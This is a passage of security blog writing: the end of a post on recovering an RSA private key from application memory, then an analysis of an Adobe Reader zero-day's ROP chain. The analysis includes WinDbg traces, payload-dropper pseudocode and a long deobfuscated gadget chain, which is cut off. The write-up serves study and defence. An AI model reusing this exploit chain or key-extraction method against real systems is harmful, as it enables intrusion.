  BigInteger primeQ = bigIntegerFromBinaryFile("h:\\key-coeffs\\primeQ");
  BigInteger privateExponent = bigIntegerFromBinaryFile("h:\\key-coeffs\\privateExponent");
  BigInteger publicExponent = bigIntegerFromBinaryFile("h:\\key-coeffs\\publicExponent");
  
  System.out.println("crtCoefficient\t" + crtCoefficient);
  System.out.println("modulus\t" + modulus);
  System.out.println("primeExponentP\t" + primeExponentP);
  System.out.println("primeExponentQ\t" + primeExponentQ);
  System.out.println("primeP\t" + primeP);
  System.out.println("primeQ\t" + primeQ);
  System.out.println("privateExponent\t" + privateExponent);
  System.out.println("publicExponent\t" + publicExponent);

  
  RSAPrivateCrtKeySpec spec = new RSAPrivateCrtKeySpec(modulus, publicExponent, privateExponent, primeP, primeQ, primeExponentP, primeExponentQ, crtCoefficient);
  KeyFactory factory = KeyFactory.getInstance("RSA", "BC");
  PrivateKey privateKey = factory.generatePrivate(spec);
  System.out.println(privateKey);
  PKCS8EncodedKeySpec pkcs8EncodedKeySpec = new PKCS8EncodedKeySpec(privateKey.getEncoded());
  FileOutputStream fos = new FileOutputStream( "h:\\key-coeffs\\private-pkcs8.der");
  fos.write(pkcs8EncodedKeySpec.getEncoded());
  fos.close();
 } 
}

 


Converting PKCS8 to PEM

The next step of the process was to convert the private key from PKCS8 format to a PEM file and then to generate the public key from the private key with the following OpenSSL commands:

openssl pkcs8 –inform DER –nocrypt –in private-pkcs8.der –out privatePem.pem

openssl rsa –in privatePem.pem –pubout
  


Here is OpenSSL converting the PKCS8:



Finally we have the outputted RSA private key:



And we can use OpenSSL to extract the public key from the privatePem.pem file:



Conclusion

Memory analysis is a powerful technique that can be used to identify and extract sensitive information from application runtime. The extracted information can then be used to possibly defeat client side security controls.

Analysis of a Malware ROP Chain

By Brad Antoniewicz.

Back in February an Adobe Reader zero-day was found being actively exploited in the wild. You may have seen an analysis of the malware in a number of places. I recently came across a variant of this malware and figured it would be nice to provide a little more information on the ROP chain contained within the exploit.

Background

After Adobe was notified of the exploit their analysis yielded two vulnerabilities: CVE-2013-0640 and CVE-2013-0641. Initially the ambiguity of the vulnerability descriptions within the advisories made it hard to tell if both CVE-2013-0640 and CVE-2013-0641 were being exploited in the variant I came across - but from what I can put together, CVE-2013-0640 was used in the initial exploit for memory address disclosure and code execution. Then the exploit transfers control to another DLL that escapes the Adobe Reader sandbox by exploiting CVE-2013-0641.

Exploit Characteristics

Once I get past the malicious intent, I'm one of those people who can appreciate a nicely written exploit or piece of malware. This variant was particularly interesting to me because it exploited an pretty cool vulnerability and showed signs of sophistication. However, at the same time, there was tons of oddly structured code, duplication, and overall unreliability. It was almost like one person found the crash, one person wrote the ROP chain, and a final person hacked everything together and filled in the gaps. If this was my team, I'd fire that final person :)

In this section we'll cover the general characteristics of the exploit that serve as an important background but are not directly part of the ROP chain.

Javascript Stream

The exploit is written in Javascript embedded into a PDF stream. Extracting the Javascript is pretty straight forward:

 root@kali:~# pdfextract evil.pdf



Obfuscation



The Javascript was similar to how it was described in previous articles: It appeared to be at least partially obfuscated, but had some readable Italian/Spanish word references throughout. For example:

ROP_ADD_ESP_4 = 0x20c709bb;
.
.
.
pOSSEDER[sEGUENDO - 1] += "amor";
pOSSEDER[sEGUENDO - 5] += "fe";
pOSSEDER[sEGUENDO - 10] += "esperanza";




Most everything in this article is the result of my manual deobfuscation of the JavaScript (lots of find and replace).

A similar Javascript exploit was found posted on a Chinese security forum. I can't say how or if the two are connected, its possible the Chinese site just put friendly names to the obfuscated functions. It just struct me odd that the post named functions and variables so precisely with little structural change from the obfuscated version.

Version Support

The exploit first checks the result of app['viewerVersion'] to determine the Reader version. The following versions appear to be supported within the exploit:
  • 10.0.1.434
  • 10.1.0.534
  • 10.1.2.45
  • 10.1.3.23
  • 10.1.4.38
  • 10.1.4.38ARA
  • 10.1.5.33
  • 11.0.0.379
  • 11.0.1.36
  • 9.5.0.270
  • 9.5.2.0
  • 9.5.3.305
The author developed entire ROP chains for each version, this surely took some time to do. I looked at 10.1.2.45, which is the focus of this article.

ASLR



The address leak vulnerability in AcroForm.api facilitated an ASLR bypass by providing the module load address of AcroForm.api. The exploit writers had to first trigger the vulnerability, get the module load address, then adjust the offsets in the ROP chain at runtime before loading it into memory.

Stack Pivot

Once the code execution vulnerability is triggered, the exploit directs Reader to a stack pivot ROP gadget that transfers control from the program stack to the ROP chain that is already loaded into memory on the heap. Oddly the stack pivot address is defined within a variable inside the JavaScript ROP chain build function, rather than being part of the returned ROP Chain string. Instead of simply defining the stack pivot address as an offset, the exploit writer defined it as an absolute address using the default IDA load address.

Later on in the exploit the writer actually subtracts the default load address from this gadget address to get the offset then adds the leaked address. This is a totally different programmatic way from the approach used in this function to calculate a gadget's address which may indicate this exploit was developed by more than one author or maybe a IDA plugin was used to find the stack pivot. Here's the important parts of the JavaScript associated with the stack pivot to illustrate this conclusion:

 function getROP(AcrobatVersion,moduleLoadAddr){
  .
  .
  .
  else if(AcrobatVersion == '10.1.2.45'){
   var r="";
   r+=getUnescape(moduleLoadAddr+0x17);
   r+=getUnescape(moduleLoadAddr+0x17);
   .
   .
   .
   }
  STACK_PIVOT = 0x2089209e ;
  return r;
  }
 var ropString = getROP(AdobeVersionStr['AcrobatVersion'], moduleLoadAddr);
 var idaLoadAddr= (0x20801000);

 stackPivotOffset = getUnescape(STACK_PIVOT - idaLoadAddr + moduleLoadAddr);



As you can see, there are two methods here, the simple "getUnescape(moduleLoadAddr+0x17);" and the more complex "getUnescape(STACK_PIVOT - idaLoadAddr + moduleLoadAddr);".

Rather than digging through the exploit code, an easy way to identify the stack pivot within WinDBG is to set a breakpoint on one of the first ROP gadgets in the Javascript ROP chain build function: moduleOffset+0x41bc90 -

 0:000> lmf m AcroForm
start    end        module name
63a80000 64698000   AcroForm C:\Program Files\Adobe\Reader 10.0\Reader\plug_ins\AcroForm.api
0:000> uf 63a80000 + 1000 + 0x41bc90
AcroForm!DllUnregisterServer+0x39dc1a:
63e9cc90 54              push    esp
63e9cc91 5e              pop     esi
63e9cc92 c3              ret
0:000> bp 63a80000 + 1000 + 0x41bc90
0:000> g



When the breakpoint is reached, we can look at where the stack pointer is pointing. Since it's pointing at memory on the heap (and not the stack) we know the stack pivot executed.
 Breakpoint 5 hit
eax=0000f904 ebx=00000001 ecx=63b1209e edx=00000000 esi=165acd6c edi=05c49f18
eip=63e9cc90 esp=118455ac ebp=001ede18 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
AcroForm!DllUnregisterServer+0x39dc1a:
63e9cc90 54              push    esp




At this breakpoint we also know the heap block where the ROP chain was loaded (ESP is pointing to it). We can use !heap to find the start of the heap block and inspect it. At offset 0x4 is the stack pivot:

 0:000> !heap -p -a esp
    address 118455ac found in
    _HEAP @ 1ab0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        1183f8f8 1927 0000  [00]   1183f900    0c930 - (busy)
  
0:000> dd 1183f900    
1183f900  00380038 63b1209e 63a81017 63a81017
1183f910  63a81017 63a81017 63a81017 63a81017
1183f920  63a81017 63a81017 63a81017 63a81017
1183f930  63a81017 63a81017 63a81017 63a81017
1183f940  63a81017 63a81017 63a81017 63a81017
1183f950  63a81017 63a81017 63a81017 63a81017
1183f960  63a81017 63a81017 63a81017 63a81017
1183f970  63a81017 63a81017 63a81017 63a81017

0:000> uf 63b1209e
AcroForm!DllUnregisterServer+0x13028:
63b1209e 50              push    eax
63b1209f 5c              pop     esp
63b120a0 59              pop     ecx
63b120a1 0fb7c0          movzx   eax,ax
63b120a4 c3              ret



JavaScript DLLs

At the end of every version-dependent ROP chain is:
 0x6f004d
 0x750064
 0x65006c
  


Which is the hexadecimal equivalent of the unicode string "Module". Appended to that is a larger block of data. Later on we'll determine that the ROP chain searches the process memory for this specific delimiter("Module") to identify the block which is the start of a base64 encoded DLL that gets loaded as the payload.

ROP Pseudocode

Before we dig into the assembly of the ROP chain, let's look at it from a high level. It uses the Windows API to retrieve a compressed base64 encoded DLL from memory. It decodes it, decompresses it, and loads it. If we were to translate its assembly to a higher level pseudo code, it would look something like this:
 hModule = LoadLibraryA("MSVCR90.DLL");
__wcsstr = GetProcAddress(hModule, "wcsstr"); 
base64blob = __wcsstr(PtrBlob, "Module"); 

hModule = LoadLibraryA("Crypt32.dll");
__CryptStringToBinaryA = GetProcAddress(hModule, "CryptStringToBinaryA");
__CryptStringToBinaryA(base64blob, 0, CRYPT_STRING_BASE64, decodedBlob, pcbBinary, pdwSkip, pdwFlags );

hModule = LoadLibraryA("NTDLL.dll");
__RtlDecompressBuffer = GetProcAddress(hModule, "RtlDecompressBuffer");
__RtlDecompressBuffer(COMPRESSION_FORMAT_LZNT1, decompressedBlob, UncompressedBufferSize, decodedBlob, CompressedBufferSize, FinalUncompressedSize); 

hModule = LoadLibraryA("MSVCR90.DLL");
__fwrite = GetProcAddress(hModule, "fwrite"); 

hModule = LoadLibraryA("Kernel32.dll");
__GetTempPathA = GetProcAddress(hModule, "GetTempPathA"); 

tmpPath = "C:\Users\user\AppData\Local\Temp\";
__GetTempPathA(nBufferLength , tmpPath); 

tmpPath += "D.T";

hFile = fopen(tmpPath, "wb");
fwrite(decompressedBlob, size, count, hFile); 
fclose(hFile); 

LoadLibraryA("C:\Users\user\AppData\Local\Temp\D.T");
Sleep(0x1010101);



Setup

The first thing the ROP Chain does is note where it is in memory. We'll see later on that it does this so it can dynamically modify the arguments passed to the functions it calls rather using static values.

 r+=ue(t+0x41bc90) ; // push esp/pop esi/ret



The r variable is returned to the caller as the ROP chain, the ue() returns an unescape()'ed string from the parameters it was passed and the t variable is the AcroForm.api module load address.

The pseudocode above shows that a number of calls, particularly the ones to LoadLibraryA() and GetProcAddress(), require strings as arguments. The ROP Chain accomplishes this by directly copying the strings into the .data segment of AcroForm.api.



A snip of JavaScript code responsible for this is below:

 r+=ue(t+0x51f5fd); pop eax/ret
r+=getUnescape(moduleLoadAddr+0x818001); // data_segment + 0x1
r+=getUnescape(moduleLoadAddr+0x5efb29); // pop ecx/ret
r+=getUnescape(0x54746547); // string
r+=getUnescape(moduleLoadAddr+0x46d6ca); // mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); // pop eax/ret
r+=getUnescape(moduleLoadAddr+0x818005); // data_segment + 0x5
r+=getUnescape(moduleLoadAddr+0x5efb29); // pop ecx/ret
r+=getUnescape(0x50706d65); // string + 0x4
r+=getUnescape(moduleLoadAddr+0x46d6ca); // mov [eax], ecx/ret



These groups of instructions are repeated for each DWORD for the length of the string, incrementing the data_segment and string offsets respectively. The entire string that is copied to the .data segment is:

 0:008> db 63470000 + 1000 + 0x818001 L4e
63c89001  47 65 74 54 65 6d 70 50-61 74 68 41 00 66 77 72  GetTempPathA.fwr
63c89011  69 74 65 00 77 62 00 43-72 79 70 74 53 74 72 69  ite.wb.CryptStri
63c89021  6e 67 54 6f 42 69 6e 61-72 79 41 00 6e 74 64 6c  ngToBinaryA.ntdl
63c89031  6c 00 52 74 6c 44 65 63-6f 6d 70 72 65 73 73 42  l.RtlDecompressB
63c89041  75 66 66 65 72 00 77 63-73 73 74 72 00 41        uffer.wcsstr.A




As you can see, the strings for each of the function arguments are present.

Function Calls

The rest of the ROPChain is mostly the same couple of steps repeated:

  1. Prepare arguments for function calls
  2. Call LoadLibraryA()
  3. Call GetProcAddress()
  4. Call function
It performs these steps for the calls to wcsstr(), CryptStringToBinaryA(), RtlDecompressBuffer(), fwrite(), GetTempPathA(), and fclose(). Lets see what one of these calls look like:

Call to wcsstr()

The ultimate goal of the following series of instructions is to set up the stack to make a call to wcsstr(). MSDN shows that the call should look like this:

 wchar_t *wcsstr(
   const wchar_t *str,
   const wchar_t *strSearch 
);



For the *strSearch parameter the author placed a pointer in the JavaScript ROP Chain to the .rdata segment of AcroForm.api which contains the unicode string "Module". Then to determine the *str parameter, the author used the saved stack pointer gathered in the first few instructions of the ROP Chain to calculate the memory address of *strSearch on the stack and place it at the precise offset on the stack where wcsstr() will look for it once called. Really any pointer to a memory address within the ROP Chain could have been used as the *str parameter, since it's at the end of the ROP Chain where the unicode string "Module" was added by the author to indicate the start of the payload. Come to think of it, the author could have probably just calculated the offset to the end of the ROP Chain and skipped the entire wcsstr() call.

Let's see the JavaScript and assembly, This first set of gadgets simply determines the memory address on the stack of the "Module" unicode string in the .rdata segment of AcroForm.api. Remember, esi was used at the start of the ROP chain to store the stack pointer after the pivot.

r+=getUnescape(moduleLoadAddr+0x5ec230); // pop edi/ret
r+=getUnescape(0xcccc0240);
r+=getUnescape(moduleLoadAddr+0x4225cc); // movsx   edi,di/ret
r+=getUnescape(moduleLoadAddr+0x17); // ret
r+=getUnescape(moduleLoadAddr+0x13ca8b); // add     edi,esi/ret 
r+=getUnescape(moduleLoadAddr+0x538c1d); // xchg    eax,edi/ret
r+=getUnescape(moduleLoadAddr+0x508c23); // xchg    eax,ecx/ret



One note is the use of 0xcccc0240 as the offset. It turns to 0x00000240 after the movsx edi, di. My guess is that the author was trying to avoid nulls within the chain, but if you look at the other areas of the payload, there are tons of nulls used. This implies that the use of nulls is not needed, making it extra, unneeded work by the author. It makes me wonder if it indicates an automatically generated ROP chain or possibly a borrowed chain from another exploit.

At the end of this set of instructions, the memory address on the stack of the pointer to the .rdata "Module resides in ecx.

The next set of instructions determine the offset on the stack where the *str parameter would be. The JavaScript ROP Chain contains 0x41414141 at that offset but the last two sets of instructions overwrite that value with the memory address on the stack of the pointer to the .rdata "Module".

r+=getUnescape(moduleLoadAddr+0x5ec230); // pop edi/ret
r+=getUnescape(0xcccc023c);
r+=getUnescape(moduleLoadAddr+0x4225cc); // movsx   edi,di/ret
r+=getUnescape(moduleLoadAddr+0x17); // ret
r+=getUnescape(moduleLoadAddr+0x13ca8b); // add     edi,esi/ret
r+=getUnescape(moduleLoadAddr+0x25e883); // push edi/pop eax/ret
r+=getUnescape(moduleLoadAddr+0x46d6ca); // mov [eax], ecx/ret



At this point, the stack is populated with the appropriate parameters at the appropriate places so that the call to wcsstr() can search the memory region where the ROP Chain is for the unicode string of "Module" - which indicates the start of the payload.

However, calling wcsstr() isn't that simple. In the next set of instructions, the author calls LoadLibraryA() to load MSVCR90.dll which is the first step in preparing the module to call the function. The LoadLibrary() function is pretty straight forward to call:

HMODULE WINAPI LoadLibrary(
  _In_  LPCTSTR lpFileName
);



With that as a reference, lets look at the ROP Chain:

r+=getUnescape(moduleLoadAddr+0x51f5fd); // pop eax/ret
r+=getUnescape(moduleLoadAddr+0x5f1214); // 65cf2214={kernel32!LoadLibraryA (769d2864)} ; Address to kernel32!LoadLibraryA
r+=getUnescape(moduleLoadAddr+0x4b1788); // call [eax]/ret
r+=getUnescape(moduleLoadAddr+0x816e96); // ptr to "MSVCR90.dll" 
r+=getUnescape(moduleLoadAddr+0x508c23); // xchg    eax,ecx/ret 



This is a pretty simple set of instructions, the author loads the address in the import table for LoadLibraryA() into eax then calls it. When LoadLibraryA() looks on the stack for its parameters, it'll see the pointer to the .rdata segment of AcroForm.api which contains to the string "MSVCR90.dll". The return value is a handle to the module set in eax and then immediately copied to ecx.

Next the author has to save the handle at the specific offset on the stack where the next call to GetProcAddress will look for it. This should look familiar, its essentially the same sequence of instructions that the author used to set up the stack for the wcsstr() call (that hasn't happened yet).

r+=getUnescape(moduleLoadAddr+0x5ec230); // pop edi/ret
r+=getUnescape(moduleLoadAddr+0xcccc022c);
r+=getUnescape(moduleLoadAddr+0x4225cc); // movsx   edi,di/ret
r+=getUnescape(moduleLoadAddr+0x17); // ret
r+=getUnescape(moduleLoadAddr+0x13ca8b); // add     edi,esi/ret
r+=getUnescape(moduleLoadAddr+0x25e883); // push edi/pop eax/ret
r+=getUnescape(moduleLoadAddr+0x46d6ca); // mov [eax], ecx/ret



A call to GetProcAddress() follows, lets see how to call it:

FARPROC WINAPI GetProcAddress(
  _In_  HMODULE hModule,
  _In_  LPCSTR lpProcName
);



In a similar fashion to the LoadLibraryA() call, the import address for GetProcAddress is loaded into eax and called. The 0x41414141 was overwritten in the previous set of instructions and now contains the handle that was returned from the LoadLibraryA() call, which is used for the hModule parameter. The lpProcName parameter was defined in the setup part of the ROP Chain where the author copied the string to the data segment of AcroForm.api. The address to the precise area of the data segment which contains the "wcsstr" string was already populated in the JavaScript.

r+=getUnescape(moduleLoadAddr+0x51f5fd); // pop eax/ret
r+=getUnescape(moduleLoadAddr+0x5f11d4); // Address to kernel32!GetProcAddressStub 
r+=getUnescape(moduleLoadAddr+0x4b1788); // call [eax]/ret
r+=getUnescape(0x41414141); // Placeholder for ptr to LoadLibrary Handle
r+=getUnescape(moduleLoadAddr+0x818047); // data_segment + 0x47 ("wcsstr")



GetProcAddress will return the address of wcsstr() in eax. The wcsstr() function parameters were already set up earlier on, so all that's left is to call eax. The last line adjusts eax so that it points to the start of the payload, and not at the "Module" delimiter.

r+=getUnescape(moduleLoadAddr+0x154a); // jmp     eax {MSVCR90!wcsstr (7189752c)}
r+=getUnescape(moduleLoadAddr+0x5ec1a0); // pop ecx/pop ecx/ret
r+=getUnescape(0x41414141); // Ptr to stack populated during setup
r+=getUnescape(moduleLoadAddr+0x60a990); // Ptr to unicode "Module" in .data
r+=getUnescape(moduleLoadAddr+0x2df56d); // add eax, 0ch/ret



Prepping and Writing the DLL

Now the ROP Chain has a pointer to the compressed base64 encoded DLL. The rest of the chain decodes (CryptStringToBinaryA), decompresses (RtlDecompressBuffer) and writes the DLL to "C:\Users\user\AppData\Local\Temp\D.T" using the same high level gadgets just described in this section. It uses GetTempPathA() to determine the user's temporary file store, which is where the DLL is saved.

Loading the DLL

With the D.T DLL written to disk, loading is just a matter of calling LoadLibraryA(). The DLL automatically starts it own thread and the remainder of the ROP Chain is just a call to Sleep().

r+=getUnescape(moduleLoadAddr+0x51f5fd); // pop eax/ret
r+=getUnescape(moduleLoadAddr+0x5f1214); // 65cf2214={kernel32!LoadLibraryA (769d2864)}
r+=getUnescape(moduleLoadAddr+0x4b1788); // call [eax]/ret
r+=getUnescape(moduleLoadAddr+0x818101); // Loads D.T as a library
r+=getUnescape(moduleLoadAddr+0x51f5fd); // pop eax/ret 
r+=getUnescape(moduleLoadAddr+0x5f10c0); // ds:0023:65cf20c0={kernel32!SleepStub (769cef66)}
r+=getUnescape(moduleLoadAddr+0x4b1788); // call [eax]/ret  
r+=getUnescape(moduleLoadAddr+0x17); // ret
r+=getUnescape(0x1010101);



Full ROP Chain

Here's the ROP Chain in its entirety, I manually deobfuscated it and added the assembly annotations.

r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x17); //ret

r+=getUnescape(moduleLoadAddr+0x41bc90); //push esp/pop esi/ret 

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x818001); //data_segment + 0x1
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x54746547);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret ;
r+=getUnescape(moduleLoadAddr+0x818005); //scratch_space + 0x5
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x50706d65);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x818009); //scratch_space + 0x9
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x41687461);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x81800d); //scratch_space + 0xd
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x41414100);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x81800e); //scratch_space + 0xe
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x69727766);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x818012); //scratch_space + 0x12
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x41006574);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x818015); //scratch_space + 0x15
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x41006277);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x818018); //scratch_space + 0x18
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x70797243);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x81801c); //scratch_space + 0x1c
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x72745374);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x818020); //scratch_space + 0x20
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x54676e69);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x818024); //scratch_space + 0x24
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x6e69426f);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x818028); //scratch_space + 0x28
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x41797261);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x81802c); //scratch_space + 0x2c
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x41414100);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x81802d); //scratch_space + 0x2d
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x6c64746e);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x818031); //scratch_space + 0x31
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x4141006c);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x818033); //scratch_space + 0x33
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x446c7452);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x818037); //scratch_space + 0x37
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x6d6f6365);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x81803b); //scratch_space + 0x3b
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x73657270);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x81803f); //scratch_space + 0x3f
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x66754273);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x818043); //scratch_space + 0x43
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x726566);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x818047); //scratch_space + 0x47
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x73736377);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x81804b); //scratch_space + 0x4b
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x41007274);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret


r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
r+=getUnescape(0xcccc0240);
r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
